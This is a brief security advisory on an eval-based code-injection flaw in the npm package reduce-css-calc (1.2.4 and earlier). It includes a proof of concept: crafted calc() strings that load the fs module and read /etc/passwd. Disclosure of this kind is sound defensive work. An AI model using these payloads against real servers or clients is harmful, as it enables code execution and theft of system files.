Arbitrary code execution is possible in reduce-css-calc node module <=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.

Affected: npm: reduce-css-calc

Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

## Proof of Concept

``` const reduceCSSCalc = require('reduce-css-calc'); console.log(reduceCSSCalc(`calc( (Buffer(10000)))`)); console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`)); console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`)); ```

## Recommendation

Update to version 1.2.5 or later.